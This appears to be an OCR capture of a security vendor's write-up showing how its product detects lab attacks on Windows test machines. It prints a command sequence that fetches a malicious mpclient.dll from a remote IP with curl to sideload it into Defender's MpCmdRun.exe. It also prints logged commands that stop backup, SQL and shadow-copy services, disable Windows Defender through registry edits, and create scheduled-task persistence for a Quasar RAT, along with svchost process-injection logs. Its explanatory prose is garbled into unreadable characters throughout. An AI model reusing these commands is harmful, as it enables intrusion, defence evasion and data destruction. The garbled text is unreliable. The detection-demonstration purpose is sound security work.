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mkdir C:\staging

copy C:\Windows\WinSxS\amd64_ windows-defender-

service 31bf3856ad364e35 10.0.19041.746 none a39f6d9ab59bd8b7\* C:\staging
move C:\staging\mpclient.dll C:\staging\realdll.dll; cd C:\staging

curl 169.254.247.102:8000/0x30004006.1log -outfile 0x80004006.log; curl
169.254.247.102:8000/mpclient.dll -outfile mpclient.dll

./MpCmdRun.exe -SignatureUpdate
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ouve Defender |Js pezdd |Jewzos)

lelhe wywess pdd mpclient.dll lUzdsds
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¥ MpCmdRun.exe Properties ¥ | W MpCmdRun.exe Properties x

General Compatibility Digital Signatures Security Details Previous Versions
Security Details Previous Versions General Compatibility Digital Signatures
Property Value Signature list
Description MName of signer: Digest algorithm Timestamp
File description  Microsoft Malware Protection Command ... ‘Microsoft Windo...  sha?56 Tuesday, September ... |
Type Application

File version 418.1505.6

Product name  Microsoft® Windows® Operating System
Product version 4.18.15059.6

2 Microsoft Corporation. All rights resery ...

Size 457 KB Details
Date modfied  12/7/2015 1:08 AM
Language English {United States)

Criginal filename MpCmdRun exe

Bemove Properties and Personal Information

Cancel Apely Cancel Aoy

MpCmdRun.exe

P07 27077

Number of Incidents Machine Name Program Path Program Arguments

v 1 \DESKTOP-GISR8SE C\staging\{7374FCBE-2AF0-4EC5-A038-CBA3830C5E94} "{7374FCBE-2AF0-4EC5-A038-CBA3830C5E94}"
Created Response Name Untrusted Remote Threads Meodified Memory No Trusted Cert
October 18, 2022 at 6:45:16 PM EDT n . “' B Red Ringed False False True

wilsseo lUlpwetlos [ITss: Blo Teslow 1J1osh owvwsd B 3009, gpdss Jp sovwd Liswol po
Sod: wrpd lovel euslissl (GUID), wp wossol sibdde Cyber Crucible sows £,y podts. spe JJ.
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C:\staging Jlw,lje.

lJelbos IJeldss [Jg 88 gwerdso e, eds 3JI Idpdwd ape,rds Jsd suad 1ds oold. po ldeste
oo we tasse wddlssh JJo sedool lUozse 1ds ovedle logwls 1Jgedsle s Cyber Crucible
Jetrss po dle wogugsdo W 1dpdle 1JlsJ.



Parent Path

C\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Cistaging\MpCmdRun.exe
Ci\staging\{7374FCBE-2AF0-4EC5-A038-CBA3830C5E94}
Ci\staging\(7374FCEE-2AF0-4EC5-A038-CBA3830C5E94}
CA\Windows\System32\net.exe
Cistaging\{7374FC8E-2AF0-4EC5-A038-CBA3830C5E94}
CA\Windows\System32\net.exe
Cistaging\{7374FCBE-2AF0-4EC5-A038-CBA3830C5E94}
C\Windows\System32\net.exe
Cihstaging\{7374FC8E-2AF0-4EC5-A038-CBA3830C5E94}
CA\Windows\System32\net.exe
CA\Windows\System32\services.exe
Ci\staging\{7374FCBE-2AF0-4EC5-A038-CBA3830C5E94}
CA\Windows\System32\net.exe
Ci\staging\(7374FC8E-2AF0-4EC5-A038-CBA3830C5E94}

Ch\Windows\System32\net.exe

Child Path

Cihstaging\MpCmdRun.exe

Ci\staging\{7374FCBE-2AF0-4EC5-A038-CBA3E30C5E94)

C:\Windows\System32\conhost.exe

C:\Windows\System32\net.exe

C:\Windows\System32\net1.exe

CA\Windows\System32\net.exe

C\Windows\System32\net 1.exe

CA\Windows\System32\net.exe

C:\Windows\System32\net 1.exe

C:\Windows\System32\net.exe

C\Windows\System32\net1.exe

CA\Windows\System32\svchost.exe

CA\Windows\System32\net.exe

C:\Windows\System32\net 1.exe

C:\Windows\System32\net.exe

C\Windows\System32\net1.exe

Powershell » MpCmdRun - {7374F...}

Child Arguments

"Cistaging\MpCmdRun.exe” -SignatureUpdate
“{737T4FCBE-2AF0-4EC5-A038-CBA3B30C5E94}"
VNCAWindows\system32\conhost.exe 0x4

net.exe stop "LanmanWorkstation” fy
C\Windows\system32\net1 stop "LanmanWorkstation" fy
net.exe stop "SamsSs” fy

C\Windows\system32\net1 stop "SamSs" /y
net.exe stop "SDRSVC" fy
C:\Windows\system32\net1 stop "SDRSVC" Jfy
net.exe stop "SstpSvc” fy
C\Windows\system32\net1 stop "SstpSvc” fy
C\Windows\System32\svchost.exe -k WerSvcGroup
net.exe stop "vmicvss' fy
C\Windows\system32\net1 stop "vmicvss" fy
net.exe stop "VSS" fy

C\Windows\system32\net1 stop "VSS" fy

welef Jol 0y psuot s lowsobss ledlo: wil e wopts wJés powershell pJosF ol sssh J-
Defender. slJss wigj0 IbJé gpdswol lUptsws. wpe lbdée lUzesds IJtoses lUgrss po
lJepdsle 1JB,ess JJdsle weole wross povsts. ElJol ol was) 1d)sss eds odo IJepdsle
lJedsses ub,s wldos eds ldpdlo ldos we loglsel eds Joble: spilost Iduwed [dos we
wersdol sogull IJlpegul, 1dsles (worming). sel |Js 3J9.

Child Path

Ch\Windows\System32\sc.exe

Ch\Windows\System32\sc.exe

C\Windows\System32\sc.exe

Ch\Windows\5ystem32\sc.exe

Ch\Windows\System32\sc.exe

Ch\Windows\System32\sc.exe

C:\Windows\System32\sc.exe

Ch\Windows\System32\sc.exe

Ch\Windows\System32\reg.exe

Ch\Windows\System32\reg.exe

C:\Windows\System32\reg.exe

Ch\Windows\System32\reg.exe

Ch\Windows\System32\reg.exe

g 00 0o

Child Arguments

sc.exe config "SamSs" start= disabled
sc.exe config "SDRSVC" start= disabled
sc.exe config "SstpSwc” start= disabled
sc.exe config "vmicvss” start= disabled
sc.exe config "WS5" start= disabled
sc.exe config "whengine” start= disabled
sc.exe config "WebClient" start= disabled

sc.exe config "UnistoreSve_99328" start= disabled

reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender” /f

reg.exe add "HKLM\System\CurrentCantrolSet\Services\SecurityHealthService" jv "Start" /t REG_DWORD /d "4" jf

reg.exe add "HKLM\Software\Policies\MicrosoftiWindows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender” /v "DisableAntiVirus" /t REG_DWORD /d "1" /f

reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
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https://attack.mitre.org/techniques/T1543
https://attack.mitre.org/techniques/T1068
https://attack.mitre.org/techniques/T1055/001
https://attack.mitre.org/techniques/T1059/001
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Number of Incidents Machine Name Program Path

v 3 WCC-NOAH-TEST C\Users\Administrator\Desktop\32 1d0cdf1bbb44c53cd02186107a18b7a...
Created Response Name Untrusted Remote Threads
October 18, 2022 at 11:27:20 AM EDT n \‘ ‘ r4 Spectacled-Bear Pearly-B False False
October 18, 2022 at 11:27:22 AM EDT n \‘ L | # Petunia Wisteria Rail 829 False False
October 18, 2022 at 11:27:14 AM EDT n f o) £ Topi Safety-orange Alysst False False

a0

Modified Memory

Program Arguments

321d0c4f1bbbd4c53cd02186107a18b7a44c840a9a5f0a7

No Trusted Cert
True
True

True

lJog, gds oo Idzlhews o9 |Jiu.qu PV wsU tesE lJesole. wprys pdlitbs lpwe |Jpdwd [Jpgvogo

Jedod w50 wsdst: sdsv 3JY edles wrds,ss Bouss.



Joldss bsds lJoouss spdool o, bs gpdsle logsls 1Jgedsle (process creations) ¢oJ
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lLte o lo bisds wooss Idosetss lJtosws odpwel dlow sluate. 1o 1Jesss o IJgedsle
S 1Jedss wonl Jogbsd Idrelss slesble 1Joble Ui )s.

Child Path Child Arguments

CA\Windows\System32\net.exe net.exe stop "LanmanWorkstation" fy
CAWindows\System32\net1.exe CA\Windows\system32\net1 stop "LanmanWorkstation” fy
CAWindows\System32\net.exe net.exe stop "MsDtsServer130” fy
CAWindows\System32\net1.exe Ch\Windows\system32\net1 stop "MsDisServer130" fy
CAWindows\System32\net.exe net.exe stop "MSSQLSMSSQLSERVEROT" fy
CAWindows\System32\net1.exe CA\Windows\system32\net1 stop "MSSQLSMSSQLSERVEROT" fy
CAWindows\System32\net.exe net.exe stop "MSSQLSERVER" fy
CAWindows\System32\net1.exe Ch\Windows\system32\net1 stop "MSSQLSERVER" fy
CAWindows\System32\net.exe net.exe stop "sacsvr” fy

CAWindows\System32\net1.exe CA\Windows\system32\net1 stop "sacswvr” fy
CAWindows\System32\net.exe net.exe stop "SamSs" fy

CAWindows\System32\net1.exe Ch\Windows\system32\net1 stop "Sam5Ss" fy
CAWindows\System32\net.exe net.exe stop "SQLAgentSMSSQLSERVERDT" fy
CAWindows\System32\net1.exe CA\Windowshsystem32\net1 stop "SQLAgentSMSSQLSERVERDT" fy
CAWindows\System32\net.exe net.exe stop "SQLBrowser" jy

CA\Windows\System32\net1.exe CA\Windows\system32\net1 stop "SQLBrowser" fy
CAWindows\System32\net.exe net.exe stop "SQLSERVERAGENT" fy
CAWindows\System32\net1.exe C\Windows\system32\net1 stop "SQLSERVERAGENT" fy
CAWindows\System32\net.exe net.exe stop "SQLTELEMETRYSMSSQLSERVERD1" fy

CAWindows\System32\net1.exe CA\Windows\system32\net1 stop "SQLTELEMETRYSMSSQLSERVERO 1" fy



Child Path Child Arguments

C\Windows\System32\sc.exe sc.exe config "SQLWriter" start= disabled

C\Windows\System32\sc.exe scexe config "SstpSvc” start= disabled

C\Windows\System32\sc.exe sc.exe config "vmicvss" start= disabled

C\Windows\System32\sc.exe scexe config "V55" start= disabled

C\Windows\System32\sc.exe sc.exe config "WRSWVC" start= disabled

C:\Windows\System32\sc.exe scexe config "UnistoreSwe_1a55fcc” start= disabled

Ch\Windows\System32\reg.exe reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
C\Windows\System32\reg.exe reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f

Ch\Windows\System32\reg.exe reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender” /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
C\Windows\System32\reg.exe reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender” /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
C\Windows\System32\reg.exe reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
C\Windows\System32\reg.exe reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection” /v "DisableBehaviorMonitoring” /...
C:\Windows\System32\reg.exe reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection” /v "DisablelOAVProtection” /t RE...
C\Windows\System32\reg.exe reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection” /v "DisableOnAccessProtection” /...
C\Windows\System32\reg.exe reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection” /v "DisableRealtimeMonitoring” /...
C\Windows\System32\reg.exe reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection” /v "DisableScanOnRealtimeEnable...

B 030 lJp,rdé: wp lzwsls lJozspe weluwlos Cyber Crucible, JJo wrdsd lJgedsle sl 1dueds le,
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https://attack.mitre.org/techniques/T1566
https://attack.mitre.org/techniques/T1091
https://attack.mitre.org/techniques/T1204
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Certificate Publisher Names X
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Number of Incidents Machine Name Program Path Program Arguments

v o1 WCC-NOAH-TEST CA\Users\Administrator\Desktop\32 1d0c4f1bbb44c53cd02186107a18b7a...
Created Response Name Untrusted Remote Threads Modified Memory No Trusted Cert
October 18, 2022 at 1:51:54 PM EDT ﬂ . ) I’_;’ Worm Geum Indigo 180 False False True

seJdool 1o ous ledle lue eds 1oEe po 1o 1Jpdws "321d0..." psdé: 1l loe JI sild Es poisd. swpl
loo Jl wszr wdusle wewse pedrs s luvotrpe Jouv, [dotse: Slool e, wldyewb po lso
tls!

JJelds po bysds lJeoowss spdool 1Jols, Bs gpdsle loguls 1Jgedsle (process creations) ¢oJ
sdw ldhbhws. pl ylo s5I> ioo Jde «Ju ould b,s@s lgwegdld pedrs: odl tows vue wupts (script)!
Jel o 1zl pe 1Jesole 1JlE s Blo gpdsle loguls 1Ugpdsle 1Jw,ess (child processes) pw.s,s
Jdlowple LEp 3JI. Brws pe Jso bosds wuwds o, ptss lJtwsws oyl slyats: wivgd
IJesss eo ldgedsle vs 1Jedsss IJos webd Izelss sledble lJoble 1JlEs.



Child Path

CAWindows\System32\net.exe

CAWindows\System32\net1.exe

CAWindows\System32\net.exe

CAWindows\System32\net1.exe

CAWindows\System32\net.exe

CAWindows\System32\net1.exe

CAWindows\System32\net.exe

CAWindows\System32\net1.exe

CAWindows\System32\net.exe

CAWindows\System32\net1.exe

CAWindows\System32\net.exe

CAWindows\System32\net1.exe

CAWindows\System32\net.exe

CAWindows\System32\net1.exe

CAWindows\System32\net.exe

CAWindows\System32\net1.exe

CAWindows\System32\net.exe

CAWindows\System32\net1.exe

CAWindows\System32\net.exe

CAWindows\System32\net1.exe

Child Arguments

net.exe stop "LanmanWorkstation” /y
CW\Windows\system32\net1 stop "LanmanWorkstation” fy
net.exe stop "MsDtsServer130" fy

CA\Windows\system32\net1 stop "MsDisServer130” fy

net.exe stop "MS5QLSMSSQLSERVERO1" fy
Ch\Windows\system32\net1 stop "MSSQLSMSSQLSERVERD1" fy
net.exe stop "MSSQLSERVER" fy

CAWindows\system32\net1 stop "MSSQLSERVER" fy

net.exe stop "sacsvr” fy

Ch\Windows\system32\net1 stop "sacsvr” fy

net.exe stop "SamSs" fy

CA\Windows\system32\net1 stop "SamSs" fy

net.exe stop "SQLAgentSMSSQLSERVERDT" fy
Ch\Windows\system32\net1 stop "SQLAgentSMSSQLSERVEROT" fy
net.exe stop "SQLBrowser" fy

CAWindows\system32\net1 stop "SQLBrowser" fy

net.exe stop "SQLSERVERAGENT" fy

Ch\Windowshsystem32\net1 stop "SQLSERVERAGENT" fy

net.exe stop "SQLTELEMETRYSMSSQLSERVERD 1" fy

CA\Windows\system32\net1 stop "SQLTELEMETRYSMSSQLSERVERO 1" fy



Child Path

C\Windows\System32\sc.exe

C\Windows\System32\sc.exe

C\Windows\System32\sc.exe

C\Windows\System32\sc.exe

C\Windows\System32\sc.exe

C:\Windows\System32\sc.exe

Ch\Windows\System32\reg.exe

C\Windows\System32\reg.exe

Ch\Windows\System32\reg.exe

C\Windows\System32\reg.exe

C\Windows\System32\reg.exe

C\Windows\System32\reg.exe

C:\Windows\System32\reg.exe

C\Windows\System32\reg.exe

C\Windows\System32\reg.exe

C\Windows\System32\reg.exe

Child Arguments

sc.exe config

sc.exe config

sc.exe config

sc.exe config

sc.exe config

sc.exe config

reg.exe add "

"SQLWriter" start= disabled

"SstpSvc” start= disabled

"vmicvss" start= disabled

"\55" start= disabled

"WRSVC" start= disabled

"UnistoreSve_1a55fcc” start= disabled

HELM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f

reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f

reg.exe add "

reg.exe add

reg.exe add

reg.exe add

reg.exe add

reg.exe add

reg.exe add

reg.exe add

HELM\Software\Policies\Microsoft\Windows Defender” /v "DisablefintiSpyware” /t REG_DWORD /d "1" /f

"HELM\Software\Policies\Microsoft\Windows Defender" fv "DisableAntiVirus" /t REG_DWORD /jd "1" f

"HKLM\SoftwareyPolicies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus” /t REG_DWORD /d "0" /f

"HKLM\SoftwarelPolicies\Microsoft\Windows Defender\Real-Time Protection” /v "DisableBehaviorMonitoring” /...

"HKLM\SoftwarelPolicies\Microsoft\Windows Defender\Real-Time Protection” /v "DisablelOAVProtection” /t RE...

"HELM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection” /v "DisableOnAccessProtection” /...

"HELM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection” /v "DisableRealtimeMonitoring” /...

"HELM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection” /v "DisableScanOnRealtimeEnable...

s oo ldputds sJsu 1Jogse @ lzwss wolywlbs Cyber Crucible, JJdo wrdsd lJepdsle sle
IJueds pop Jotass 0bld Iduwdsdsle IJeoses. 3> swrg wodss e Idoudsis ey 1Jpadé
570 sluozf evdpl sguueo Cyber Crucible wosl IJgndd. JJo b Jos, po ldizslo swe wzled
lJepdsle [Jos u:)»&U Is Ideduass po dod Uvss pres 936 wedltsle pod Defender oo gwlbs.

P00 0070 0700707

e Mitre T1566 - spdo lowetsle Ieoess Ilzeslds (Phishing) Jesle [Jeowetse Jbls lels pl
Jo Jsdse wo Jodl 3J: ped wuntsd 0ve wopts ls punlbds JJes o9

o Mitre T1091 - 3> wouwt lJwptss lJtosws vyl eds suwlsl dlods JJUls wrsw
QPJJL') JJCDU |JCJ|J(___S |J.')§ §uqu wol QUJ§50| vy |Juuu&_§J UoJJL‘sQ (autorun) i_g
wile o ler |Jogugsd (driver).

e Mitre T1204 - w08 lJpuwewtse: 1Jds Eldol el swe ldzuesd edse ) |Joua§§
lUlzeslds: os lognb bysds wonl wol I, prsle lJewses woddssol.

e Mitre T1587-002 - jwoble wedse lduvsds o ptssd os suvsds Jzod pesus JJouersd

eds Uvsadb i(_.) lJobosdle. @ oduns ldo,ptsle lJtosws guols Jl wyes) 0 L_s Tob
lueol, gwobsles (certificate authority) JJdoel @5 wiwd lJppwetse Bsbo loel vess.

e Mitre T1587-003 - wiweisp guobsle SSL Juselo 1o 0dd lJwslole pstsd. B wsis

ovsse 1Jlesh 9o wwpdy ldoprss lJtosws po woose guels SSL ¢l es wol


https://attack.mitre.org/techniques/T1566
https://attack.mitre.org/techniques/T1091
https://attack.mitre.org/techniques/T1204
https://attack.mitre.org/techniques/T1587/002
https://attack.mitre.org/techniques/T1587/003

Jogwesd ogele [Jgpwsl (man in the middle).



P77 2700070 - 00007

7070707070707

P70 20070707077

vslule wysuse - Igevog,le wslole go, RAT (Quasar)

PP00°07?707?7

Is ol ldwsobss [Jes,sos gwodse wwgvgsd RAT gds ol [duetss: sluweesleo Jogohs

lJoslole 1desters eds 1JEoue: wodld lpwotle ldepdule.

eds 1oEe po 10 03l Jsuw ozse Wass: [J 1o 1duwdsdsle IJes sovetspol RAT wos,z gopo

wdsdsle lowsl IJoslole lJos sdeuvasol Cyber Crucible. sewss IJlowetlos JJglse

sldoslole sle 1dueds pumlwos Tl Jodd 1Jelues oldlpwetlos Jresds wrss: Jloe wldouwws J-

Cyber Crucible. JJ 3J3 sélpd wldb,sds 0 wol!

P00 09?7

Number of Incidents Machine Name Program Path
v 4 \WDESKTOP-GISR8SE CAWindows\System324SubDir\Client.exe
Created Response Name Untrusted Remote Threads
October 18, 2022 at 9:36:01 PM EDT n ‘. ‘ # Polka-Dot-Plant Ferret Plum 868 False
October 18, 2022 at 9:38:54 PM EDT n ‘. ‘ ra Pearly-Everlasting Black-Footed-Rhino Aspar: False
October 18, 2022 at 9:39:03 PM EDT n ‘. ‘ rd Navy-Blue Sweet-Pea Ragdoll 542 False
October 18, 2022 at 9:39:07 PM EDT n ‘. * rd ‘Wildcat School-bus-yellow Balsam 541 False

Program Arguments

Modified Memory
False
False
False

False

No Trusted Cert

True

True

True

True

swdg o3l lJpdud l|Jopisis érsol wege |dgvss: JJoo peted s system32 gshos |ds lpvoglole
e s sdie lols ldesss po ldeotdsd Jeessds ol Trw ool spdool ldoss Cldore o ldeunble

|JJJ&§6 |J‘OJCJK._JJ06 L_J‘OL).UIJ |J|uuucluo

Parent Path Parent Arguments
CAWindows\explorer.exe CAWindows\Explorer.EXE
CA\Windows\System32\svchost.exe C\Windows\system32\svchost.exe -k netsves -p -s Appinfo

Ch\Users\user\Desktop\Client-built.exe "ChUsers\user\Desktop\Client-built.exe"

Child Path ¥V

Ch\Users\user\Desktop\Client-built.exe

Ch\Users\user\Desktop\Client-built.exe

CA\Windows\System32\SubDir\Client.exe



o0l Utwed eds 1Jpss po 1dbJs Josupst Iddues. dle puvetre wwuvisd lJedu client-build.exe
PO ol lJpd o, gos bl luwdll RAT. we swis 1o sdse wwueess Ilewsljle go, svchost. Jl
wjild euld weve dobe e dsrs S ldlzess: pe 3JI. s vesd 10 03l 09 RAT sdisuw et Unss

swddled pg svchosts

Parent Path

C:\Windows\explorer.exe

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe

C:\Windows\System32\svchost.exe

C:AWindows\System32\svchost.exe

C:\Windows\System32\svchost.exe

C\Users\user\DesktopClient-built.exe

C:\Windows\System32\schtasks.exe

C\Users\user\DesktopClient-built.exe

CA\Windows\System32\SubDir\Client.exe

C:\Windows\System32\schtasks.exe

Parent Arguments

C:\Windows\Explorer.EXE

C:\Windows\system32\svchost.exe -k DcomLaunch -p

C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TabletInputService
CA\Windows\System32\svchost.exe -k LocalSystemMNetworkRestricted -p -s TabletinputService
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
"C:\Users\user\Desktop\Client-built.exe"

"schtasks” /create /tn "Quasar Client Startup” /sc ONLOGON /tr "C:\Users\user\Desktop\Client-built.exe” /rl HIGHEST /f
"C:\Users\user\Desktop\Client-built.exe"

"C\Windows\system32\SubDir\Client.exe"

"schtasks" /create /tn "Quasar Client Startup” /sc ONLOGON /tr "C:\Windows\system32\SubDir\Client.exe” /rl HIGHEST /f

Child Path

C\Users\user\Desktop\Client-built.exe
CA\Windows\SysWOWE4\dllhost.exe
CAWindows\System32\consent.exe
CAWindows\System32\audiodg.exe

C\Program Files\Common Files\microsoft shared\ink\Tab
C\Program Files\Comman Files\microsoft shared\ink\Tab
C\Users\user\Desktop\Client-built.exe
CAWindows\System32\schtasks.exe
CAWindows\System32\conhost.exe
CAWindows\System32\SubDir\Client.exe
CAWindows\System32\schtasks.exe

CAWindows\System32\conhost.exe

o3l sz Jol sss hpve wdos,! Wl oto Wb vess 1o eds ste lJsdso o eold ounllbl
puvwgol stus: sldpowble 1 owbs wor wd ve,w lsual lue swe loguls 1Jss lpwe el s
(persistence). wJ o6 lsueflool oweled pe Quasar. gog RAT pg90d z.sof.

Quasar og RAT pwlog,i 950w pelop pwdsIdo pu slEd pdude IJopsis 1JElue: pdgadllgwewtsle
,oéJov|uo |J‘o&,oéé c‘u|go§rUt_|uoé wo g,»JF‘oU IL)‘UQC)IP i)3|o Windows IJIQ_QCJJI()‘O‘___Sé JJ&_)@) U

lJpole. JJo zws Quasar sipob lzslolf eos lpweesleo Jbsle ped schtasks.

PP P07 207007

o Mitre T1566 - 9> sowetse lJoyess Idlceslds Jesle ldpovetse Joowss lols ol Jlo

Jsdse wo Jadl 3JI. pod wuntsd pwdrow by pgulids ddps pos

e Mitre T1091 - 85 w@dsp lJoprss ltosws wouwt udywel [Js sunlsb glods JJLlds
orse sepJdou Jdeol) ldelds 1Jss soued wol wpdasiel gu) lJognvesd [dodiliss i3
wile oler lJogngsd.

o Mitre T1204 - o3 dppwetde I1ss Eldol el swe ldruesd edso el Idouasy
lUlzeslds: os loguls bsds Joss wowss o erss lJtosws.

o Mitre T1547 - 9> wogo lJw,prss lJtwsws uble Windows Joowss wlet vebs g0
IJIoJle Ts 0> wowesd stsd IJpuwetop.

o Mitre T1037 - @> wego lJw,prss lJtwsws oble Windows Joodss gud,wwle gols g0
IJI3JIE Is e0s wowtsd stsd Ideowetor.

e Mitre T1543 - 5pd0 10 s85 lousls Is wessd gedss obless [Js lesls 1dgmsa,o

lJtoses eds lool gpdss obless £1>s6 spgigds: wessl o ldw il 1o prsle

lJeoses.


https://attack.mitre.org/techniques/T1566
https://attack.mitre.org/techniques/T1091
https://attack.mitre.org/techniques/T1204
https://attack.mitre.org/techniques/T1547
https://attack.mitre.org/techniques/T1037
https://attack.mitre.org/techniques/T1543




70707007070 2700707070 - 0707
7070707070707

P70 20070707077

woslole lJes,sw - ztdo 1Jeedsle (Hive)

PP00°07?707?7

S o3l ldpwsobisy ldws,sos: pwodse vwodss teads woptsle lddsss o) tdo ldepdsle s
epdss Svchost.exe §so lJogvgsd wldugd. gpdss Svchost |Jpgoss os gpdss wyvisd uble
ebhss wgpd pud Ve ,s besds: 3[0_9(5%'6: swEpd wrw tuvle puve e LocalSystem.

ols,F Jly Svchost "z 358" BEIJOT ol sewp wrlodol. sede Idpowssdso 10 1Jesss po ouwt Svchost
wepdi sbldel 10 suusble Idosolet woss votsts: wiled eds 1ol "upw9d Tuwss" s5&,d Teol.
@i oo Wb sluats selJol pl suwedol 1UE,luo0s. £0s set 03l IJlundsw & Trsds Ssp wod, (zero
day). spewt vleel el Ws leddls ogple o prsle | ss.

P07 2707077

Number of Incidents Machine Name Program Path Program Arguments
v o WCC-NOAH-TEST CA\Windows\System32\svchost.exe -k UnistackSvcGroup
Created Response Name Untrusted Remote Threads Modified Memory No Trusted Cert

October 18, 2022 at 9:16:41 PM EDT n \. o 4 Royal-purple Komc True False False



' Certificate Publisher Names X

Microsoft Windows Production PCA 2011

Microsoft Windows Publisher

||||||| T T AT =T TR S Pl L

0o (@@ )OI 11T svchost.exe

lJsee lJersl wodo lUlpwezlos UTJ@&S Jsuw 3|u'acr eolyu,ys g ol e |Ji3J§. wodg gwsble
oo, 1lsle, ueldzs wldogwes J- Svchost. sldedos lJeodsss psdt po Gwd Microsoft.

COSIB 9290 tsb (thread) wess ey pswsd ey pessy Jhosws: Jduo swbdo ejsil eo lJotdsd.
wraw 1Jesss po Ideseb 1Jogsrs eds [Joble: JIo pelopol slbod "peesd™ Jlvel wiwwese
Jdwslped ldboses wso ldeedsle sppnlds ldoslole: sel |ds 3J 3.

godel sHunl tsb wesysled gpdss wbisds Es, bostss: sstdp eds 1o £ pawsd: Woil og
lJedlo 1Uss ste 1o 0288 Bso e,

Injector Pid Injector Path Injectee Pid Injectee Path T

3992 C\Windows\System32\csrss.exe 85844 CA\Windows\System32\cmd.exe

4228 C\Windows\System32\dwm.exe 3992 C\Windows\System32\csrss.exe

3268 CAWindows\System32\dwm.exe 5972 Ch\Windows\System32\csrss.exe

4228 C\Windows\System32\dwm.exe 3992 C\Windows\System32\csrss.exe
(LTI (I [OI (11 L1 (L

Jds 0, e IJdos, po gedsle Idzdo lJos wre eds IJoble Bs ls s8w pesor sedool
lese 1Js JJ po sdw 1Jthes: spe,ls IJeedss (pid) Jepdss IJetdps. els el owsl wwgoes
pesSle gedsle (pid) Jdlpwotlole Idegvoses: wp 0uees s uwduwnds Idzdo sldlogwls JJeuesd
eds doues 1JIJlpds.



Response Details

5
al
te
Description Value
mn
Response Mame Royal-purple Komodo-Dragon Lavender 848
Machine Mame WCC-NOAH-TEST
Program Path CAWindows\System32\svchost exe
Program Arguments -k UnistackSvcGroup
12
Agent Mame
Ram usage 0
File access count 0
MNumber of threads 0
Pid 6224
View Certificate Publisher Names
Injectee Pid ¥ = v m
6224 Equals * stexe
6224
‘ Reset ‘ ‘ Apply ‘
[T1T] [IITIT] (11 o 0o O
Injector Pid Injector Path Injectee Pid ¥V Injectee Path ™
9168 Chsvchost_injector.exe G224 CAWindows\System32\svchost.exe

(LI [T !

vede wldued lue Jl sowts Jies 1o stdo s Svehost wose IJbsds: sJJdo wldeldss Jsow W
odo lJgpdss! pu ool Wuolesl spduul IJwgled pg 030 IUgpdss Jel Js Jlow "malware.exe" gpg 96

p0 Glp wwgugsdol I3 Jl o o lzsee &> wed 3JI.



Created T Child Pid ¥ Parent Path Child Path

October 18, 2022 at 9:11:09 PM EDT 9168 C\Windows\System32\services.exe C\Program Files (x86)\Dropbox\Update\DropboxUpdate.exe
October 18, 2022 at 9:16:04 PM EDT 9168 C:\Windows\explorer.exe Ci\svchost_injector.exe
(11111 (110 (1110 ([T (pid) 9168

bl Jszes epdsws loguls wee,ls Idepdss (pid) 9168, gopl prodiwly welell spdool wupssd
obly lJore wolseds IUblog 1Uje0s ofls ponl, 1Jgpdss 1 ess: sous lool [oguise welywlbs
explorer.exe. o3l seos 1o gvt el ol lp 298l weognesd gpdssd 1Utldo: sdl spdo 1o sIJso 1Jle,
et puelbus s ywded Svchost we wpusWel wyvdd tlbs.

P00 007 070007

e zYu lJgpJsle (Process Injection)

e Mitre T1559 - spJdo 1o s908, lJeslped wso lJgedsle (Inter-Process communication)
wveslos eds Ideedss IJppwewerss po dod IJTldo wets [dweld gpdss [dzdo.

e Mitre T1106 - ¢lJof pl wdso slzole yprs IJobosdle IJlpedss (Native APIS) 15,0
sovsds Jdswesd lds sblsw vble ldwgvisd Jdswesd s IdedSle: sogntsd IJepdsle:
sldesso.

o Mitre T1569 - spdo 10 535 1JTdo S taes 0ble ped epdss SVCOS potsss [Js wpesso
lJuws s IJtosws orese swe ldlodlE eoel Jlvel weed po epdss pEsds 35938,

e Mitre T1055 - zdo lJgpdsle (Process injection). siwetse ebs Joguisd gvsdd b toses
sled gedss poverorss et lJuwele Jdepdss IUledss wldlpve el


https://attack.mitre.org/techniques/T1559
https://attack.mitre.org/techniques/T1106
https://attack.mitre.org/techniques/T1569
https://attack.mitre.org/techniques/T1055

P77 2700070 - 00007
70707070707

P70 20070707077

vslule lJes,su - v, st lJgeJsle (Process Hollowing) J- SQL (Hive)

PP00°07?707?7

S o3l ldpwsobss ldws,sos pwodse wwoddss teads wolpr Wist £y wduss wld,sE
lJeeJsle (process hollowing): sos wd0ss 0 / wow Tee swe wuwisd epdss ol we sEsl) pol
|Juud.5)§ Juuds) ouSéJ IC)

wis lonldso lJeoowss sled 1Usld s po lueew IJlpuldso 1o gulbh 0J spo 1Jlusew tes suse
|u.uudgi'> TJ@& Jol. Jsl éJQQer| Swe oc|oJo|. J|J.’)|éJJ6 gby@&od ,oo&Jg_Jé 3)|f5,o¢"> IJQE&-SJ-
sswbdo o lJotss,le sled 31,8 gpdss pl wrass 1JIEuwle sle 1ueds: sewdsspol s lgdle
